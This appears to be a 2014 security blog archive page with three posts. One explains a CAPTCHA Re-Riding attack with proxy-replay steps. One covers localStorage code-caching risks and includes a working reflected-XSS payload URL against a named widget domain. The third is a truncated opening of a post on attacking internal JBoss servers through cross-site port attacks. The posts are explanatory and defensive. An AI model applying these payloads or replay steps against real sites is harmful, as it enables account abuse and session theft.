August 2014

CAPTCHA Re-Riding Attack

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="MsoNormal">
CAPTCHA Re-Riding Attack bypasses the CAPTCHA protection built into the 
web applications. The attack exploits the fact that the code that 
verifies CAPTCHA solutions sent by the user during form submissions does
 not clear the CAPTCHA solution from the HTTP Session. </div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
<b>Impact:</b> <span style="font-family: Calibri, sans-serif; line-height: 115%;">A large number of successful submissions on CAPTCHA protected pages by riding on a single CAPTCHA solution.</span> </div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
<span style="font-family: 'Trebuchet MS', sans-serif;">A typical scenario to demonstrate the vulnerability is explained below. </span></div>
<div class="MsoNormal">
</div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">1.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">A user visits register page of the website.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">2.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">The
 website creates an HTTP session, assigns it a SESSIONID and returns the
 register page to the user along with the SESSIONID cookie. The register
 page also contains one image tag which directs the browser to retrieve a
 CAPTCHA and display it on screen.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">3.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Upon parsing the image tag, the browser sends out request for the CAPTCHA. </span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">4.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">The server side code creates a new CAPTCHA with random text and CAPTCHA solution is stored in the HTTP session.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">5.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">CAPTCHA image is then sent to the client and is then displayed by the browser. </span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">6.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Browser sends CAPTCHA solution along with form fields for verification.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">7.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Server side code retrieves CAPTCHA solution from the HTTP Session and verifies it against the solution provided by the client.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">8.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">If
 verification is successful, client is sent to next logical step in the 
registration process. If not, client is redirected to the register page 
(step 1 above).</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif;"><span style="font-size: 15px; line-height: 22px;"><br />
</span></span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;"><br />
</span></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUaoWeISQKeHXtuN3nLW7bVRbuy0-HJkafO6a-pJ552rFhTofDIOvFAZoqK5fvaklCrL1HkZRQuwKVBvTB73ySClyUYsCGWrhlkv_WyaoBqAYopzTcGL-x9mdhxj7lwRA1qRLIsgi2TkK3/s1600/sample-captcha-implementation.png" style="margin-left: auto; margin-right: auto;"><img border="0" height="248" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUaoWeISQKeHXtuN3nLW7bVRbuy0-HJkafO6a-pJ552rFhTofDIOvFAZoqK5fvaklCrL1HkZRQuwKVBvTB73ySClyUYsCGWrhlkv_WyaoBqAYopzTcGL-x9mdhxj7lwRA1qRLIsgi2TkK3/s400/sample-captcha-implementation.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><div class="MsoCaption">
<span style="font-size: xx-small;"><span style="font-family: Verdana, sans-serif;">Figure 1</span><span style="font-family: Verdana, sans-serif;">: Image shows an example Register page that supports CAPTCHA</span></span><span style="font-size: 11pt;"></span></div>
</td></tr>
</tbody></table>
<br />
Analysis of the CAPTCHA generation and verification process reveals the following:<br />
<div class="MsoNormal">
</div>
<div class="MsoListParagraphCxSpFirst" style="mso-list: l2 level1 lfo1; text-indent: -.25in;">
</div>
<ol style="text-align: left;">
<li><span style="text-indent: -0.25in;">The captcha.php is the only page responsible for updating the HTTP session with correct CAPCHA solution. </span><span style="color: red; text-indent: -0.25in;">The first ingredient.</span></li>
<li>CAPTCHA solution inside the HTTP session is not explicitly cleared during the verification process. Yes, you guess it right. <span style="color: red;">This is</span> <span style="color: red;">the second and the most important ingredient for</span> <span style="color: red;">CAPTCHA Re-Riding Attacks.</span></li>
<li>When registration fails (for any reason), the web applications 
continue to use the same HTTP session and SESSIONID. We will not look 
into this further.</li>
<li>When registration succeeds, the user is redirected to next step and 
the CAPTCHA generation page (/captcha.php) is not likely to be called 
for current SESSION again.  This allows the CAPTCHA solution to stay in 
the HTTP store for as long as SESSION is valid. Following are the likely
 scenarios to be seen when CAPTCHA verification is successful.</li>
<ol>
<li>The web application generates a new SESSIONID for the same HTTP 
session for known security reasons. This implementation is most likely 
to be seen. <span style="color: red;">Combine this behavior with first and second ingredients above and you have a successful CAPTCHA Re-Riding attack.</span></li>
<li>The web application continues to use the same SESSIONID for the same
 HTTP session.  Here we have more things to worry than just the CAPTCHA.
 <span style="color: red;">For now, combine this behavior with first and second ingredients above and you have a successful CAPTCHA Re-Riding attack again.</span></li>
<li>The web application generates a completely new HTTP session with new
 or same SESSIONID. For CAPTCHA Re-riding Attack, this scenario is not 
exploitable.</li>
</ol>
</ol>
<br />
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
For scenarios 4.a and 4.b, the HTTP Session continues to hold the 
CAPTCHA solution as it is not explicitly cleared by the CAPTCHA 
verification code. Since /captcha.php is not going to be called again 
(and we will not let the call happen anyway), the same CAPTCHA solution 
continues to exist in HTTP session. Let us now see how <b>4.a</b> & <b>4.b</b> scenarios above can be exploited to make multiple successful submissions using a CAPTCHA solution.</div>
<br />
<br />
<div class="MsoNormal">
<b>Exploiting Scenario 4.b:</b></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">1.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Load the register page of the target website in a web browser.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">2.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Solve the CAPTCHA manually, and submit the form.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">3.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Record
 this form submission using a web proxy. This request contains a valid 
SESSIONID, valid form fields and a valid CAPTCHA solution.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">4.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Create
 a custom script or use any tool like Burp intruder that can repeatedly 
send this request to server. With each request change the unique values 
(like User ID) to create multiple new accounts with a single CAPTCHA 
solution.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in;">
</div>
<div class="MsoNormal">
<b>Exploiting Scenario 4.a:</b></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l1 level1 lfo2; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">1.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Load the register page of the target website in a web browser.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l1 level1 lfo2; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">2.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Solve the CAPTCHA manually, and submit the form.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l1 level1 lfo2; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">3.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">To
 make things easy, trap this request in a web proxy and do not allow it 
to reach the web server. This request contains a valid SESSIONID, valid 
form fields and a valid CAPTCHA solution.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l1 level1 lfo2; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">4.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Create a custom script or use any tool like Burp intruder that can repeatedly send this request to server. </span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l1 level1 lfo2; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">5.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Submit one request.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l1 level1 lfo2; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">6.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Upon
 successful submission, the web application will reset the current 
SESSIONID and send new SESSIONID back in response headers. </span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l1 level1 lfo2; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">7.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Change the value of SESSIONID in recorded request (step 3) to the value copied from response in Step 6 above.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l1 level1 lfo2; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">8.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Go to step 5.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l1 level1 lfo2; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 22px; text-indent: -0.25in;">9.     </span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 115%; text-indent: -0.25in;">We will be able to make multiple successful submissions with single CAPTCHA solution.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l1 level1 lfo2; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif;"><span style="font-size: 15px; line-height: 17px;"><br />
</span></span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l1 level1 lfo2; text-indent: -.25in;">
</div>
<div class="WhitePaperBodycopy">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">Using
 one time tokens along with CAPTCHAs on the register pages may still be 
exploitable with a few additional lines of attack code. The best defense
 is to reset CAPTCHA solution inside the HTTP session during the CAPTCHA
 verification stage. It is also important to note that when a website 
relies on third party CAPTCHA  provider it does not maintain any session
 information at its end and CAPTCHA is performed by the CAPTCHA provider
 and these websites are not vulnerable to CAPTCHA Re-Riding Attack.</span></div>
</div>

CAPTCHA Re-Riding Attack

CAPTCHA Re-Riding Attack bypasses the CAPTCHA protection built into the web applications. The attack exploits the fact that the code that...

How a Platform Using HTML5 Can Affect the Security of Your Website

<div dir="ltr" style="text-align: left;" trbidi="on">
<div id="head">
     <div>
 <h2>
How a Platform Using HTML5 Can Affect the Security of Your Website</h2>
</div>
</div>
<div class="post-header">

</div>
<div class="entry clear">
                <h3>
<span style="font-size: 120%; font-weight: bold;">tl;dr Abstract</span></h3>
<em>To improve performance, particularly for mobile users, many 
websites have started caching app logic on client devices via HTML5 
local storage. Unfortunately, this can make common injection 
vulnerabilities even more dangerous, as malicious code can invisibly 
persist in the cache. Real-world examples of this problem have now been 
discovered in third-party “widgets” embedded across many websites, 
creating security risks for the companies using such services – even if 
their sites are otherwise protected against attacks. Striking a balance 
between security and performance can be difficult, but certain 
precautions may help prevent an attacker from exploiting local storage 
caches.</em><br />

<h3>
<span style="font-size: 120%; font-weight: bold;">Background</span></h3>
Throughout the history of web development, people have found ways to 
use and abuse various technologies beyond their intended purposes. 
Before CSS gained widespread support, many developers created complex 
layouts with HTML tables. Now that browsers provide far more 
presentation-layer tools, one can recreate complex images using only 
CSS. Such tricks can at times be very helpful in overcoming the limits 
of a browser-based environment, but they can also inadvertently create 
security issues.<br />

<span id="more-3159"></span>One feature commonly classified as part 
of HTML5 is local storage, a method for saving content on a visitor’s 
device that offers more space and flexibility than previous options 
(such as cookies). While intended as a client-side analogue to database 
storage, local storage has increasingly served another purpose: code 
caching. If a web app routinely requires large blocks of JavaScript, it 
can avoid downloading those chunks every time a visitor returns to the 
app by saving a copy of them in local storage. This can provide a 
significant performance boost, particularly on mobile devices, where 
bandwidth and typical caches can be much more limited.<br />

<h3>
<span style="font-size: 120%; font-weight: bold;">Local Storage Attacks</span></h3>
However, this approach opens new possibilities for attacking the app.
 If the local storage can be compromised, an attacker could inject 
malicious code that persists in the client-side cache. This payload 
would then be executed by the web app each time a user opened the site –
 even if they’d previously closed the browser. In fact, eradicating such
 code can be quite difficult, and the victim website might not even be 
able to detect an ongoing attack. Artur Janc, a security engineer at 
Google, outlined these issues in <a href="http://events.ccc.de/congress/2011/Fahrplan/events/4811.en.html">a talk last December</a> (<a href="http://www.youtube.com/watch?v=ppFcSP2HWdE">video</a>)
 detailing many of the dangerous ramifications they present, but as Janc
 notes, such an attack was also previously described by <a href="http://www.cs.berkeley.edu/%7Edawnsong/papers/2010%20emperors%20new%20api.pdf">a paper from researchers at Berkeley</a> (PDF) in May 2010.<br />

Given the restrictions on access to a site’s local storage, modifying
 code saved there would nearly always require another vulnerability in 
the app as an initial attack vector. However, just one entry point for 
injecting code in a page would be enough to change the cache, and such 
problems tend to be quite common across the web. Many of these 
vulnerabilities (described as cross-site scripting, or XSS) are 
“reflected”, in that they only change a particular request for content, 
but using local storage automatically makes them capable of launching 
persistent attacks. Essentially, caching code in HTML5 local storage 
actually makes any existing cross-site scripting vulnerabities more 
dangerous.<br />

And as influential researcher Michal Zalewski also noted a few months before
 Janc’s presentation, “if content from the compromised origin is 
commonly embedded on third-party pages (think syndicated ‘like’ buttons 
or advertisements), with some luck, attacker’s JavaScript may become 
practically invincible”. In this age of mash-ups, data from a variety of
 sources are often mixed together, creating implicit trust relationships
 that may have significant effects on the security of an app. When a 
developer includes third-party JavaScript on his or her site, that code 
has the same capabilities as any other script on the page. Of course, 
modifying a static file on a remote server is generally not possible, 
even if cross-site scripting issues are present. But what if a 
third-party script from a site with XSS problems also stored code in 
local storage?<br />

<h3>
<span style="font-size: 120%; font-weight: bold;">Vulnerabilities in the Wild</span></h3>
As it turns out, this is no longer a hypothetical situation. Apture 
was a start-up that provided pop-up boxes for exploring content related 
to highlighted terms in a page. The service garnered praise from various
 tech media outlets, and the company was bought out by Google a few 
months ago. Just over a week ago, Google shut down the embedded search 
functionality, which was still in use by several sites after the 
acquisition. Apture is one example of a third-party “widget” service 
that used local storage code caching – and a page on the same domain as 
those scripts had a reflected XSS vulnerability which could be used to 
inject malicious code in the cache. This code would then be executed in 
the context of the site using Apture, meaning the problem with Apture’s 
service affected the security of many sites across the web.<br />

And while Apture’s widgets are now offline, another service still 
operating on high-profile sites was recently found to have a similar 
issue (though in this case, scripts were not executed from the original 
site’s origin). This problem has been reported and is currently being 
addressed by the service’s engineers.<br />

<h3>
<span style="font-size: 120%; font-weight: bold;">Reducing Risk</span></h3>
Ultimately, there isn’t a simple way of avoiding this type of 
vulnerability while still getting the performance gains of client-side 
code caching. Another new HTML feature, application cache, is actually 
geared towards precisely this use case and would be harder to 
compromise, but it can create UI warnings in some browsers, such as 
Firefox. (Such warnings are a good practice, but may be unwanted for 
third-party widgets.) Ideally, any data in local storage should be 
treated as untrusted, even if it’s just content instead of code. But if 
local storage is used for scripts, it should be accessed from a domain 
that only serves static files. This will help reduce the likelihood of 
an XSS vulnerability that would have direct access to local storage, 
though the overall structure of an app should be taken into account to 
prevent indirect access as well. Newer browsers also support features 
such as sandboxed inline frames and Content Security Policy that could 
help limit the impact of embedded widgets if they became compromised.<br />

I think it’s important to note that many smart people, including 
those behind Apture, have used local storage for caching app logic – 
even Google and Bing use a similar technique on their mobile sites – and
 that in theory, this method should not make a website less secure. And 
for many web developers, it may not be immediately obvious why local 
storage data should not be trusted. This is another case where a clever 
trick that serves its primary goal very well has unintended consequences
 when considered in a broader context. It’s also an example of possibly 
making trade-offs which balance usability with risk. Understanding these
 conflicts and connections is part of what information security is all 
about – and what we do at Gemini
 every day. As browser features continue to expand and sites continue to
 integrate services from other domains, it’s likely we’ll see many more 
examples of security issues evolving in complexity – and organizations 
will need to adapt to such changes while still reducing risk.<br />

<h3>
<span style="font-size: 120%; font-weight: bold;">Technical Details</span></h3>
For a site to use Apture widgets, the owner included a bit of JavaScript on their pages:<br />

<div>
<div class="syntaxhighlighter  js" id="highlighter_862252">
<div class="toolbar">
<span><a class="toolbar_item command_help help" href="http://securitymusings.com/article/3159/how-a-platform-using-html5-can-affect-the-security-of-your-website#">?</a></span></div>
<table border="0" cellpadding="0" cellspacing="0"><tbody>
<tr><td class="gutter"><div class="line number1 index0 alt2">
1</div>
<div class="line number2 index1 alt1">
2</div>
<div class="line number3 index2 alt2">
3</div>
<div class="line number4 index3 alt1">
4</div>
<div class="line number5 index4 alt2">
5</div>
</td><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="js plain"><script id=</code><code class="js string">"aptureScript"</code><code class="js plain">></code></div>
<div class="line number2 index1 alt1">
<code class="js plain">(</code><code class="js keyword">function</code> <code class="js plain">(){</code><code class="js keyword">var</code> <code class="js plain">a=document.createElement(</code><code class="js string">"script"</code><code class="js plain">);a.defer=</code><code class="js string">"true"</code><code class="js plain">;</code></div>
<div class="line number3 index2 alt2">
<code class="js plain">a.src=</code><code class="js string">"<a href="http://www.apture.com/js/apture.js?siteToken=XXXXXXX">http://www.apture.com/js/apture.js?siteToken=XXXXXXX</a>"</code><code class="js plain">;</code></div>
<div class="line number4 index3 alt1">
<code class="js plain">document.getElementsByTagName(</code><code class="js string">"head"</code><code class="js plain">)[0].appendChild(a);})();</code></div>
<div class="line number5 index4 alt2">
<code class="js plain"></script></code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
This dynamically loaded an external script hosted on apture.com with a
 site token specified. The external script included various parameters, 
such as title, logo, and search URLs that are associated with the 
account identified by the token. This code then loaded another script 
based on the user’s browser which actually began setting up the 
framework for Apture to integrate with the site’s content.<br />

For browsers that support it, HTML5 cross-document messaging then 
came into play. The Apture script inserted an inline frame into the page
 that loaded a file from cdn.apture.com. A callback function allowed 
this iframe to pass messages back to the original window context where 
the script is running (the non-Apture site). This iframe then loaded the
 actual app logic and passed the code back to the original site via the 
cross-document messaging interface.<br />

At this point, you’re probably wondering why Apture didn’t simply 
load the app logic as another script in the original page; in fact, 
that’s precisely what Apture did if the browser didn’t support newer 
HTML5 features. But Apture’s iframe setup allowed them to take advantage
 of another HTML5 innovation that made their service load much faster. 
Web storage functionality provides the localStorage object, a place to 
save key/value data on the client which allows for more space and 
flexibility than cookies. This storage is persistent across browser 
sessions, but is specific to each domain and access to it is restricted 
by a same-origin policy.<br />

Apture used a localStorage object for cdn.apture.com not only to save
 data, such as an ID for tracking users, but to actually cache their app
 logic code. If the cdn.apture.com iframe detected that this cache 
already existed, it would simply load the code from localStorage rather 
than issue another HTTP request for the 272KB worth of JavaScript – 
saving time and bandwidth. Apture introduced this functionality in 
January 2011.<br />

But how does one load code from localStorage? For Apture, with this line in the cross-domain callback function:<br />

<div>
<div class="syntaxhighlighter  js" id="highlighter_155549">
<div class="toolbar">
<span><a class="toolbar_item command_help help" href="http://securitymusings.com/article/3159/how-a-platform-using-html5-can-affect-the-security-of-your-website#">?</a></span></div>
<table border="0" cellpadding="0" cellspacing="0"><tbody>
<tr><td class="gutter"><div class="line number1 index0 alt2">
1</div>
</td><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="js plain">window.execScript ? window.execScript(f) : window.eval(f);</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
Seeing code such as this should immediately raise red flags in the 
mind of any web developer. Those familiar with browser security may have
 heard the adage that “eval is evil”, and it certainly applies here. The
 eval function (or the analogous execScript function also seen above) 
treats its input as valid JavaScript and simply executes it in the 
current window’s global context. If an attacker can send malicious code 
to the function, that code will also be executed – a class of 
vulnerabilities known as cross-site scripting (XSS).<br />

In Apture’s case, though, the code came from the cdn.apture.com 
storage, so one might assume it can be trusted – in theory, only pages 
from cdn.apture.com can modify the localStorage cache. But once again, 
the power of cross-site scripting demonstrates that many seemingly 
trustworthy data sources are still potential avenues of attack. The 
presence of any XSS on a cdn.apture.com page, including reflected XSS, 
would allow an attacker to execute code in that domain’s context and 
thus modify the localStorage object.<br />

As it turns out, Apture did have an exploitable XSS vulnerability. 
The cdn.apture.com domain actually mirrored www.apture.com, including a 
topic page that loaded a topic title from the URL path and a YouTube 
video ID from a GET parameter. Both of these values were included in the
 page without being escaped to prevent XSS. This example URL includes a 
script that appends “alert(document.cookie)” to the app logic in 
localStorage:<br />

<pre>http://cdn.apture.com/search/xss?yt=%22%3E%3Cscript%3Eif%28
window.x%21%3D1%29%7BlocalStorage%5B%27app-49971756%27%5D
%3DlocalStorage%5B%27app-49971756%27%5D%2b%22alert%28
document.cookie%29%3B%22%7Dwindow.x%3D1%3C%2fscript%3E</pre>
The window.x logic ensures that the code only executes once, since 
the parameter appears in the topic page multiple times. In an actual 
attack, more code would likely be needed, as the specific localStorage 
key includes a version number that could change depending on the user. 
This does not stop the attack, however, as the correct version can be 
loaded by the script before making changes to localStorage.<br />

Once this vulnerability is used to insert attack code into 
localStorage (e.g. if the above URL were loaded in an invisible iframe 
on an attacker’s site), visiting any site that had Apture’s widgets 
would cause the attack code to be loaded from the Apture iframe and 
executed in the context of the non-Apture site. And since this is 
essentially an example of DOM-based XSS (the code is loaded dynamically 
on the client side), requests sent to those sites’ servers would not 
include any XSS fingerprints, such as <script> in a GET or POST 
parameter. In summary, the localStorage code caching turned one 
reflected XSS vulnerability on Apture’s site into persistent, 
client-side XSS across all domains using their service.<br />

How a Platform Using HTML5 Can Affect the Security of Your Website

How a Platform Using HTML5 Can Affect the Security of Your Website tl;dr Abstract To improve performa...

Cross Site Port Attacks - XSPA - Part 3

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-family: "Trebuchet MS",sans-serif;">In the 
last 2 posts we saw what Cross Site Port Attacks (XSPA) are and what are
 the different attacks that are possible via XSPA. This post is in 
continuation with the previous posts and is the last in the series of 
three. In this post we will see other interesting attacks and also see 
how developers can prevent XSPA or limit the attack surface itself.
<br /><br />
Read <a href="http://anonymous1769.blogspot.in/2014/08/cross-site-port-attacks-xspa-part-1.html">Cross Site Port Attacks - XSPA - Part 1</a><br />
Read <a href="http://anonymous1769.blogspot.in/2014/08/cross-site-port-attacks-xspa-part-2.html">Cross Site Port Attacks - XSPA - Part 2</a><br /><br />

</span><br />
<h2 style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-weight: normal;">Attacks - Attacking Internal Vulnerable Web Applications</span> </span></h2>
<span style="font-family: "Trebuchet MS",sans-serif;">
Most often than not, intranet applications lack even the most basic 
security allowing an attacker on the internal network to attack and 
access server resources including data and code. Being an intranet 
application, reaching it from the Internet requires VPN access to the 
internal network or specialized connectivity on the same lines. Using 
XSPA, however, an attacker can target vulnerable internal web 
applications via the Internet exposed web application.
<br /><br />
A very common example I can think of and which I have seen during 
numerous pentests is the presence of a JBoss Server vulnerable to a 
bunch of issues. My most favorite of them being the absence of 
authentication, by default, on the JMX console which runs on port 8080 
by default.</span><br />
<br />

<div class="separator" style="clear: both; text-align: center;">
